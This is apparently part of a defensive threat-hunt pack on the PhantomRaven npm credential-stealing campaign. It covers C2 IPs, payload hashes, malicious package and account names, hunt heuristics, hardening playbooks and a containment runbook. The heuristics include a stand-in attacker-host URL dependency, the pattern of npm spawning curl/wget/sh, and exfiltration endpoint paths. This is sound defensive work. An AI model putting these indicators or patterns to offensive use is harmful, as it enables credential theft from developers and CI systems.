ipv4,100.26.42.247,detect,low,2026-12-18,PhantomRaven Wave-2 C2 IP -- single-sourced Endor Labs only,campaign:PhantomRaven
ipv4,13.219.250.107,detect,low,2026-12-18,PhantomRaven Wave-3 C2 IP -- single-sourced Endor Labs only; reported DOWN,campaign:PhantomRaven
ipv4,54.227.45.171,detect,low,2026-12-18,PhantomRaven Wave-4 C2 IP -- single-sourced Endor Labs only; reported LIVE Mar 2026,campaign:PhantomRaven
sha256,c31831d47fcbf52ff1f4e61838611916a4276d005a564e69946d5dac04235eed,detect,low,2026-10-18,PhantomRaven payload hash -- single-sourced CrowdStrike Sept 2026; payload reused across waves so hash IOCs are perishable,campaign:PhantomRaven
sha256,95a7dcc6de46826b22c43bee7fc550f3b5e2e6cbc5f33b0c241faf523641cf63,detect,low,2026-10-18,PhantomRaven payload hash -- single-sourced CrowdStrike Sept 2026,campaign:PhantomRaven
sha256,db3fe46df0a65fe9f8c99d2e11126a032a72e9814e354ce017448ce088a01e02,detect,low,2026-10-18,PhantomRaven payload hash -- single-sourced CrowdStrike Sept 2026,campaign:PhantomRaven
Behavioral Signatureshunt heuristics
# Not literal IOCs -- paste into a hunt runbook or SOAR playbook as review criteria
1. package.json dependency value is an HTTP(S) URL instead of a semver range (RDD)
   example seen in the wild: "ui-styles-pkg": "http://[attacker-host]/[package].tgz"
2. npm/node (ParentBaseFileName) spawns curl/wget/powershell/sh/bash (FileName) during
   or immediately after an npm install -- see Q1/Q6
3. node/npm resolves a domain outside registry.npmjs.org + your approved CDN allowlist
   shortly after process start -- see Q2/Q7
4. node/npm resolves api64.ipify.org (public-IP fingerprint step) -- see Q5
5. Exfiltration endpoint path pattern: /jpd.php or /npm.php on a non-registry host
   (PHP endpoint filename has rotated between waves -- match the pattern, not the name)
6. C2 tarball package.json author field = "JPD" (confirmed unchanged across all 4 waves
   per Endor Labs byte-level diff) -- useful if you recover a suspect tarball for analysis
7. npm account naming pattern containing "jpd" or "dharsh" in any arrangement, or
   sequential numbered accounts (e.g. jpdtester01 .. jpdtester13) -- npm registry-side
   signal, not endpoint telemetry
Named Malicious npm Packages & Accountsregistry-side pivot
# CrowdStrike-attributed (Sept 2026), highest confidence:
transform-jsbi-to-bigint       (npm account: jpdhellonpm1)
sort-imports-es6-autofix       (npm account: jpd15)

# Attacker aliases / npm accounts named across sources:
jpd12, jpd13, npmhell, npmpackagejpd, npmtestdharsh, jpdhackerone11,
packagedharsh, jpdtester01@hotmail.com .. jpdtester13@gmail.com

# Full package name lists (200+ Wave-1 names, 88 Wave-2/3/4 names) are NOT
# reproduced here to avoid shipping an unmaintainable, quickly-stale blocklist.
# Screen your dependency tree against the complete lists preserved verbatim in:
#   PhantomRaven-npm-Stealer-Hunt-sources/03-sonatype.txt   (200+ names)
#   PhantomRaven-npm-Stealer-Hunt-sources/04-endorlabs.txt  (88 names, wave-tagged)
# via your SCA tool (Sonatype, Endor Labs, Socket.dev, or npm audit equivalent).
CI/CD & npm Audit Checklistpaste into runbook
[ ] npm config get ignore-scripts = true on every CI runner image
[ ] npm --version >= 12 fleet-wide (dev workstations + CI images)
[ ] npm install-scripts ls reviewed for pending/approved lifecycle scripts
[ ] .npmrc registry points at internal proxy, not public registry.npmjs.org directly
[ ] No long-lived NPM_TOKEN/PAT in CI env vars for publish steps (OIDC preferred)
[ ] CI runner egress allowlisted (self-hosted); SaaS-hosted runner gap documented
[ ] Org 2FA + provenance attestation enforced for internally-published packages
[ ] SCA tool screening dependency tree against current PhantomRaven package lists
11

Detection Validation Gates

GateRequirement
Telemetry readyFalcon sensor deployed to developer workstations and every self-hosted CI runner image; ProcessRollup2, DnsRequest and NetworkConnectIP4 confirmed flowing. Confirm FileOpenInfo/FileReadInfo licensing and field availability in-tenant before relying on Q3.
Benign baselineRun Q1, Q2 and Q6 in Detect/hunt-only mode for 7 days minimum; catalog every node-gyp/sharp/esbuild/puppeteer/playwright hit and build the TUNING exclusion list from real fleet data before touching Prevent.
Positive testsValidate Q1/Q2/Q6 fire using a disposable, lab-only npm package with a benign RDD-style dependency in an isolated VM/sandbox — never test against the actual PhantomRaven C2 infrastructure. Validate Q8/Q9 against a replayed lab PCAP containing the known-bad domain/IP.
Promotion criteriaQ4 and Q8 (multi-sourced domains only) → Prevent immediately. Q1 and Q6 → Prevent only after a 14-day burn-in with the FP exclusion list reviewed by two analysts. Q9 (IP match) stays Detect-only permanently per the AWS-IP-reassignment caveat. Q2, Q3, Q5, Q7 remain Investigate/Hunt-only.
12

Hardening — Tiered

Controls target the two surfaces PhantomRaven actually touches: the npm/Node dependency-install pipeline, and CI/CD credential lifecycle. Two to four controls per tier, each cited to the strongest available authority.

Immediate — this week

1. Set ignore-scripts=true fleet-wide on CI runners (and dev workstations where feasible). MITRE M1038 (Execution Prevention). Authority: npm's documented --ignore-scripts flag; also CrowdStrike's own Sept 2026 recommendation. Blocks preinstall/install/postinstall lifecycle scripts from auto-executing, the exact mechanism PhantomRaven depends on.
Verify: npm config get ignore-scripts returns true.
Rollback: npm config delete ignore-scripts (or set to false) — re-enables lifecycle scripts; packages needing native builds (node-gyp/sharp) will need an explicit per-package npm rebuild <pkg> --foreground-scripts while this is on.

2. Upgrade npm to v12+ fleet-wide (CI images and developer machines). MITRE M1038, M1051 (Update Software). Authority: CrowdStrike Sept 2026 recommendation + npm's own release notes documenting the native preinstall-script block-by-default and npm install-scripts ls/approve/deny workflow.
Verify: npm --version returns ≥ 12; installing a package with a lifecycle script produces the npm warn install-scripts block message.
Rollback: pin npm to the prior version in the CI base image or via nvm — this removes the protection; only do this if the upgrade breaks a required build step, and re-evaluate that step instead of reverting where possible.

Near term — 1 to 4 weeks, pilot first

3. Stand up a private npm registry / pull-through proxy with an SCA scanning gate (Artifactory, Nexus, or npm's own private-registry feature, in front of Sonatype Firewall / Socket.dev / Endor Labs or equivalent), and repoint CI + developer .npmrc at it. MITRE M1013 (Application Developer Guidance), M1033 (Limit Software Installation). Authority: CrowdStrike Sept 2026 recommendation #1 + NIST SP 800-218 (SSDF) practice PW.4.
Verify: npm config get registry returns the internal proxy URL fleet-wide (spot-check via RMM/MDM inventory query); direct outbound to registry.npmjs.org from build hosts drops to only the proxy's own egress.
Rollback: revert .npmrc registry setting to https://registry.npmjs.org/.

4. Migrate CI/CD publish credentials from long-lived static tokens to short-lived OIDC-federated tokens (GitHub Actions OIDC → npm Trusted Publishing, GitLab CI ID tokens, CircleCI OIDC) where the platform supports it. ⚠ best-practice, no formal CIS/MITRE-mitigation entry specific to package-registry credential lifecycle — grounded in GitHub's and npm's own OIDC/Trusted-Publishing hardening docs and NIST SP 800-204C.
Verify: CI/CD secret store audit shows no long-lived NPM_TOKEN/PAT still used for publish steps; npm package provenance shows "OIDC," not "token."
Rollback: revert to a scoped, rotated static token stored in the platform's secret manager (never a plain env var) if a given CI vendor doesn't yet support OIDC for this use case.

Strategic — 1 to 3 months

5. Enforce default-deny egress allowlisting on self-hosted CI runners (VPC security groups / NGFW / cloud firewall rules limiting outbound to the internal registry proxy, source control, and an explicit small CDN allowlist). MITRE M1037 (Filter Network Traffic). Authority: NIST SP 800-204C + CIS AWS Foundations Benchmark (Security Group least-privilege) for the self-hosted case. ⚠ SaaS-hosted runner egress (GitHub-/GitLab-/CircleCI-hosted) has no equivalent customer-side control — documented gap, route egress-sensitive jobs to self-hosted runners instead.
Verify: a test outbound call from a runner job to a non-allowlisted host is blocked; review VPC Flow Logs / firewall logs for denied egress.
Rollback: revert the security group/firewall rule to the prior, broader egress policy.

6. Require org-level npm 2FA + package provenance attestation, and train developers against slopsquatting (verify a package exists and is actively maintained before accepting an LLM's dependency suggestion). MITRE M1017 (User Training), M1013. Authority: npm's own 2FA/provenance documentation; recommendation echoed across CrowdStrike, Sonatype and Endor Labs (snapshots 01/03/04).
Verify: npm org admin console shows 2FA enforced for all publishing members; a tabletop exercise asking developers to install a slopsquatted package name measures catch rate.
Rollback: none required — training/process control with no endpoint state change.

13

Deployable Playbooks

Playbook A — npm Install-Time Lifecycle Script Lockdown

MITRE: T1195.001, T1072 → M1038, M1051   Estimated deploy time: 1–2 hours fleet config push, longer for the npm v12 image rebuild   Prerequisites: RMM/MDM or CI image-build pipeline access; inventory of packages that legitimately need lifecycle scripts (node-gyp/sharp/esbuild/puppeteer/playwright)   Reboot required: No

Step 1 — Enforce ignore-scripts globally

What it does: Stops npm from auto-executing preinstall/install/postinstall scripts. Why it works: PhantomRaven's entire execution path depends on the preinstall hook firing unattended.

# Set at the user/CI level (~/.npmrc or the CI image's global npmrc)
npm config set ignore-scripts true

# Or enforce via a project-level .npmrc committed to the repo (defense in depth):
echo "ignore-scripts=true" >> .npmrc

Verify: npm config get ignore-scriptstrue

Rollback: npm config delete ignore-scripts. Packages needing native builds will fail silently until rebuilt explicitly: npm rebuild <pkg> --foreground-scripts.

Step 2 — Upgrade npm to v12+ and adopt the native install-scripts workflow

What it does: npm ≥ v12 blocks preinstall scripts from dependencies by default and requires explicit developer approval. Why it works: even if Step 1 is later reverted somewhere, this is a second, independent layer.

# CI base image (Dockerfile example)
RUN npm install -g npm@latest

# Review any pending blocked scripts before approving:
npm install-scripts ls
npm install-scripts approve <package>   # only for known-good packages
npm install-scripts deny <package>      # for anything unrecognized

Verify: npm --version ≥ 12; a test install of a package with a lifecycle script shows the npm warn install-scripts block message.

Rollback: pin the base image / nvm version back to the prior npm release. This removes the block-by-default protection — only do this to unblock a specific failing build step, and re-evaluate that step first.

Playbook B — CI/CD Runner Egress Allowlisting & Secret Lifecycle Hardening

MITRE: T1552.007, T1071.001 → M1037, M1041   Estimated deploy time: 1 day per pilot ring for OIDC migration; 2–4 hours per runner pool for egress rules   Prerequisites: Cloud account access (AWS/GCP/Azure) for self-hosted runner security groups; CI platform admin rights to configure OIDC trust   Reboot required: No

Step 1 — Migrate npm publish credentials to OIDC (GitHub Actions example)

What it does: Replaces a long-lived NPM_TOKEN secret with a short-lived, workflow-scoped OIDC token. Why it works: a token PhantomRaven steals from a compromised runner is worthless once it expires within the job's lifetime.

# .github/workflows/publish.yml (excerpt)
permissions:
  id-token: write
  contents: read
jobs:
  publish:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-node@v4
        with:
          node-version: '22'
          registry-url: 'https://registry.npmjs.org'
      - run: npm publish --provenance --access public
        env:
          NODE_AUTH_TOKEN: ${{ secrets.NPM_TOKEN_FALLBACK_ONLY }}   # remove once Trusted Publishing is confirmed working

Verify: the published package's npm page shows a "Provenance" badge; the org secret store no longer lists a permanent NPM_TOKEN used by this workflow.

Rollback: restore the scoped static NPM_TOKEN secret (rotate it first) if OIDC/Trusted Publishing is not yet supported for your package's publish path.

Step 2 — Default-deny egress on self-hosted runners (AWS example)

What it does: Restricts a self-hosted runner's outbound traffic to an explicit allowlist. Why it works: blocks the RDD fetch and the exfiltration call even if the lifecycle-script block (Playbook A) is somehow bypassed.

# Example: replace an existing broad-egress security group rule with a narrow allowlist
aws ec2 revoke-security-group-egress --group-id sg-0123456789abcdef0 \
  --protocol -1 --port -1 --cidr 0.0.0.0/0

aws ec2 authorize-security-group-egress --group-id sg-0123456789abcdef0 \
  --protocol tcp --port 443 --cidr <internal-registry-proxy-cidr>
aws ec2 authorize-security-group-egress --group-id sg-0123456789abcdef0 \
  --protocol tcp --port 443 --cidr <source-control-cidr>

Verify: curl -m 5 https://example-non-allowlisted-host.test from the runner times out; VPC Flow Logs show the denied attempt.

Rollback: re-authorize the original broad egress rule (0.0.0.0/0) if the allowlist breaks a required build dependency, then add the missing destination to the allowlist instead of leaving the rule fully open.

14

Containment Runbook

PhaseActionsOwnerEvidence
IsolateNetwork-isolate the affected host via Falcon RTR "contain" to stop further exfiltrationIR/SOCFalcon detection ID, host AID, timestamp of first non-registry DNS/network hit
IsolateRevoke and rotate every credential the malware could have harvested from that host: npm tokens, GitHub PAT/App tokens, GitLab CI variables, Jenkins credential-store entries, CircleCI context env vars, cached git credentialsIdentity/PlatformRevocation timestamps / audit-log entries from each platform
IsolateIf the host is a CI runner: pull it from the pool immediately and invalidate any job artifacts/build outputs produced during the estimated compromise windowDevOps/PlatformRunner registration ID, affected job run IDs
EradicateSearch org-wide for the named malicious packages and any RDD-style HTTP-URL dependency specifier across package.json/package-lock.json/yarn.lock; remove themAppSec/DevSCA scan results, PR diffs removing the dependency
EradicatePurge npm/yarn/pnpm caches on the affected host (npm cache clean --force, remove ~/.npm and the affected node_modules) to eliminate any cached malicious tarballIT/EndpointCache-clear command output
EradicateRe-image or fully re-provision the affected workstation/runner if RCE was suspected or confirmed, rather than trusting in-place cleanup (CrowdStrike's Aug 2025 source reports an actor RCE claim via this same preinstall mechanism)IT/EndpointRe-image ticket, asset tag
RecoverReissue developer/CI access with newly-issued, scoped, short-lived credentials (prefer OIDC — Playbook B)Identity/PlatformNew credential issuance record
RecoverRe-enable the host/runner only after confirming ignore-scripts=true and npm ≥ v12 are enforced (Playbook A)DevOpsConfig audit output
RecoverMonitor the recovered host/runner for 30 days with Q1/Q2/Q6 in heightened, lower-threshold alertingSOC30-day watch-list entry, daily query hit review log
15

Detection Coverage Map

TechniqueBehaviorCQLIOACoverage
T1195.001npm install triggers a non-registry RDD fetchQ1, Q2, Q4, Q6Q1, Q4, Q6 candidatesPartial — the URL-dependency itself is invisible to EDR; only the resulting process/network behavior is covered
T1552.001Reads of .npmrc/.gitconfig/.git-credentialsQ3NoneGAP — field availability is tenant-dependent, and SaaS-hosted CI runners have zero EDR visibility
T1552.007CI/CD environment variable theftQ6 + native CI audits (§7)Q6 candidatePartial — self-hosted runners only; SaaS-hosted runners are a full gap
T1071.001 / T1041HTTP GET/POST exfiltration to a C2 domain/IPQ2, Q7, Q8, Q9Q8 candidateGood for known infrastructure; Partial for undiscovered Wave-5+ infra (Q7 is hunt-only)
T1027.009Payload embedded behind a URL dependency, invisible to static/SCA toolingNoneNoneGAP — requires registry-side SCA scanning, entirely outside Falcon telemetry
T1036.005Typosquatted/slopsquatted package namingQ4Q4 candidatePartial — covers only the two CrowdStrike-named packages, not the 200+ reported by Sonatype/Endor Labs
T1059.007 / T1072Execution via the preinstall lifecycle hookQ1, Q6Q1, Q6 candidatesGood

See §11 for the full Detection Validation Gates this coverage assumes: telemetry readiness, a 7-day benign baseline, lab-only positive testing, and the specific promotion criteria for each query.

16

Hunt Summary Ticket

TITLE:      PhantomRaven -- npm Remote Dynamic Dependency Information Stealer
SEVERITY:   HIGH
SCOPE:      Developer workstations (Win/macOS/Linux) + self-hosted CI/CD runners
            (GitHub Actions, GitLab CI, Jenkins, CircleCI). SaaS-hosted runners
            OUT OF EDR SCOPE -- see native audit-log hunts, section 7.
HYPOTHESIS: npm/node lifecycle scripts (preinstall) are spawning shells or
            reaching non-registry hosts during package installation, fetching
            and executing a second-stage credential-stealing payload that
            never touches the npm registry (Remote Dynamic Dependency / RDD).
QUERIES:    Q1-Q9 (section 8) -- Q1/Q4/Q6/Q8 are Custom IOA candidates.
DO FIRST:   1. Run Q1 and Q6 in Detect/hunt-only mode; catalog FPs for 7 days.
            2. Run Q8/Q9 immediately at Detect -- near-zero cost, known IOCs.
            3. Fleet audit: npm config get ignore-scripts / npm --version
               (section 10, CI/npm Audit Checklist block).
FINDINGS:   [populate after first hunt pass]
GAPS:       SaaS-hosted CI runner egress + telemetry (section 5); registry-side
            SCA scanning for the RDD dependency itself (section 6, T1027.009);
            FileOpenInfo/FileReadInfo field availability unconfirmed in tenant.
ACTIONS:    Deploy hardening controls 1-2 (section 12) this week; brief AppSec
            on the full package-name lists in sources 03/04 for SCA screening.
OWNER:      SOC / AppSec (joint) -- see section 14 for per-phase ownership
VERSION:    v0.1 -- 2026-09-18
17

Changelog

v0.12026-09-18Initial pack. Built from CrowdStrike's Sept 15 2026 reassessment plus the Oct 2025 Koi Security original disclosure (via syndication), Sonatype (Oct 2025), Endor Labs' 4-wave infrastructure analysis (Mar 2026), and two Hacker News articles. 9 CQL queries across 8 hunt hypotheses; 4 Custom IOA candidates. Koi Security's original blog (koi.ai) found to redirect to unrelated Palo Alto Networks marketing content post-acquisition — no prompt-injection content found in any of 8 fetched sources.
18

References

TierSourceUsed ForAccess Date
1CrowdStrike — PhantomRaven: An LLM-Generated Information Stealer Developed for Bug Bounty Hunting [01]Primary research: actor attribution, C2 domains/IP/hashes, ATT&CK mapping, hardening recs2026-09-18
2BleepingComputer — PhantomRaven attack floods npm with credential-stealing packages [02]Independent campaign-scale corroboration2026-09-18
1Sonatype — PhantomRaven: npm Malware Evolves Again [03]+83 additional packages, full package name list, brandjacking analysis2026-09-18
1Endor Labs — The Return of PhantomRaven: Detecting Three New Waves [04]4-wave infrastructure timeline, byte-level payload diff, infection chain2026-09-18
2The Hacker News — Claimed Bug Bounty Hunter Likely Used LLM to Build PhantomRaven npm Stealer [05]Syndication of CrowdStrike's Sept 2026 reassessment2026-09-18
1 (redirected)Koi Security — original PhantomRaven disclosure (URL now redirects) [06]Original discloser / coined "PhantomRaven" and "RDD" — see note below2026-09-18
2The Hacker News — PhantomRaven Malware Found in 126 npm Packages Stealing GitHub Tokens From Devs [07]Original Oct 2025 disclosure corroboration, Oren Yomtov (Koi) quotes, RDD host confirmation2026-09-18
3CyberSecurityNews — PhantomRaven Attack Involves 126 Malicious npm Packages [08]Exact package.json RDD dependency syntax, preinstall hook syntax2026-09-18

Note on source [06]: koi.ai was Koi Security's domain at the time of PhantomRaven's original October 2025 disclosure. Koi Security was subsequently acquired by Palo Alto Networks, and as of this research (2026-09-18) the URL redirects to an unrelated "Cortex Agentic Endpoint Security" marketing page with no PhantomRaven content. Snapshot 06 preserves that redirect target for audit purposes. All facts originally attributed to Koi Security in this pack are corroborated through independent syndication in sources [02], [05], [07] and [08], each of which quotes or paraphrases the original Koi research directly.

Prompt-injection check: all eight fetched sources were reviewed for embedded instructions directed at an AI agent. None was found — no hidden text, HTML comments, or "note to the AI" content in any snapshot. No source attempted to redirect this research, claim authorization to skip a step, or influence a Prevent-tier IOC decision.